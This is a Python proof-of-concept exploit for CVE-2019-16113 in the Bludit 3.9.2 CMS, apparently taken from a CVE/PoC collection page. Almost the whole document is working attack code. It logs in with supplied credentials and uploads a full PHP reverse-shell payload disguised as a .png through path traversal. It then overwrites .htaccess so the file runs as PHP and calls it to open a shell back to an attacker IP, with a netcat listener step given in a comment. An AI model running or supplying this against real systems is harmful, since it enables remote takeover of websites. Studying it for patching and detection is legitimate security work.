4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2019-16113.py PY
#!/usr/bin/env python3

import sys
import string
import random
import requests
import re
import socket

"""
This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability

CVE-2019-16113
Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered
with a .jpg (or .png) file name, and then this PHP code can write other PHP code to a ../ pathname.

Original credit:
christasa # Original discovery
sinn3r # Metasploit Module

https://www.exploit-db.com/exploits/47699
"""

##########################
# Modify as needed
TARGET_URI = "http://127.0.0.1"

# Target Bludit credentials
USERNAME = "user"
PASSWORD = "password"

# For reverse shell
# Setup listner prior to execution: nc -lvp 303
ATTACKER_IP = '127.0.0.1'
ATTACKER_PORT = '303'

##########################

# Payload to be sent and executed on target
# https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
PAYLOAD = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = \'' + ATTACKER_IP + '\'; $port = ' + ATTACKER_PORT + '; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \'uname -a; w; id; /bin/sh -i\'; $daemon = 0; $debug = 0; if (function_exists(\'pcntl_fork\')) {$pid = pcntl_fork(); if ($pid == -1) {printit("ERROR: Can\'t fork"); exit(1);} if ($pid) {exit(0);} if (posix_setsid() == -1) {printit("Error: Can\'t setsid()"); exit(1);} $daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");} chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) {printit("$errstr ($errno)"); exit(1);} $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {printit("ERROR: Can\'t spawn shell"); exit(1);} stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated"); break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated"); break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);} if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input);}} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}} ?>'

# Create a persistent session to ensure BLUDIT-KEY cookie is obtained and sent with subsequent requests
SESSION = requests.session()

def random_string():
    """
    Generates a 10 character random string utilized for payload file name
    """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(10))

EXPLOIT_FILENAME = random_string()

def get_csrf_uuid(url, get_uuid=0):
    """
    Returns the hidden form field value of jstokenCSRF that is requried for form submissions
    Optional: this function will also return the uuid hidden form field value if get_uuid is provided during call
    """
    try:
        response = SESSION.get(url)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)

    # Extract the CSRF token value field from thge HTML response with regex
    csrf_token = re.search('(?<=name="tokenCSRF" value=")([a-z0-9]+)(?=">)', response.text).group(0)

    # If we need the uuid value as well, extract and return
    if(get_uuid):
        uuid_value = re.search('(?<=name="uuid" value=")[a-z0-9]+(?=">)', response.text).group(0)
        return csrf_token, uuid_value
    else: # otherwise just return the CSRF token
        return csrf_token

def do_login():
    """
    Utilizes the declared USERNAME and PASSWORD to create a valid user session
    """
    url = TARGET_URI + '/admin/login.php'

    # Obtain the CSRF token for login form submission
    csrf_token = get_csrf_uuid(url)

    # Attempt the login
    try:
        response = SESSION.post(url, data = {'tokenCSRF':csrf_token, 'username': USERNAME, 'password': PASSWORD})
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request.', e)
        sys.exit(1)

    # Verify that the login was successful
    if re.search('(?<=<title>)(Bludit - Dashboard)(?=<\/title>)', response.text):
        print('[+] Login successful!')
    else:
        print('[!] Login Failure. Do you have the correct credentials?')
        sys.exit(1)

def exploit():
    """
    First sends the payload as a multi-part HTTP POST request that creates a randomly named .png file containing
    malicious PHP before sending a request to modify the content of .htaccess to disable the RewriteEngine and
    handle .png file requests as application/x-httpd-php MIME type.
    """
    # Obtain the CSRF token for form submission
    csrf_token, uuid = get_csrf_uuid(TARGET_URI + '/admin/new-content/index.php', 1)

    url = TARGET_URI + '/admin/ajax/upload-images'

    # Send request to create malicious .png within the /bl-content/tmp directory
    files = {'images[]': (EXPLOIT_FILENAME + '.png', PAYLOAD), 'uuid': (None, '../../tmp'), 'tokenCSRF': (None, csrf_token)}
    try:
        response = SESSION.post(url, files=files)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)

    # Verify it was successful
    if response.status_code == 200:
        print('[+] Upload of malicious file ' + EXPLOIT_FILENAME + '.png successful!')
    else:
        print('[!] Error creating malicious .png file. Received HTTP response code: ' + response.status_code)
        sys.ext(1)

    # Disable RewriteEngine and change MIME type for .png files to application/x-httpd-php
    files = {'images[]': ('.htaccess', 'RewriteEngine off\nAddType application/x-httpd-php .png'), 'uuid': (None, uuid), 'tokenCSRF': (None, csrf_token)}
    try:
        response = SESSION.post(url, files=files)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)

    # Verify it was successful
    if response.status_code == 200:
        print('[+] Modification of .htaccess successful!')
    else:
        print('[!] Error modifying .htaccess. Received HTTP response code: ' + response.status_code)
        sys.ext(1)

def spawn_shell():
    """
    Send a GET request for the newly created malicious .png file within the /bl-content/tmp directory. If the
    exploit was sucessful, this will execute our malicious code.
    """
    url = TARGET_URI + '/bl-content/tmp/' + EXPLOIT_FILENAME + '.png'
    print('[+] Sending request to spawn shell. You may Crtl+C this program once shell is recieved.')
    try:
        response = requests.get(url)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)

do_login()
exploit()
spawn_shell()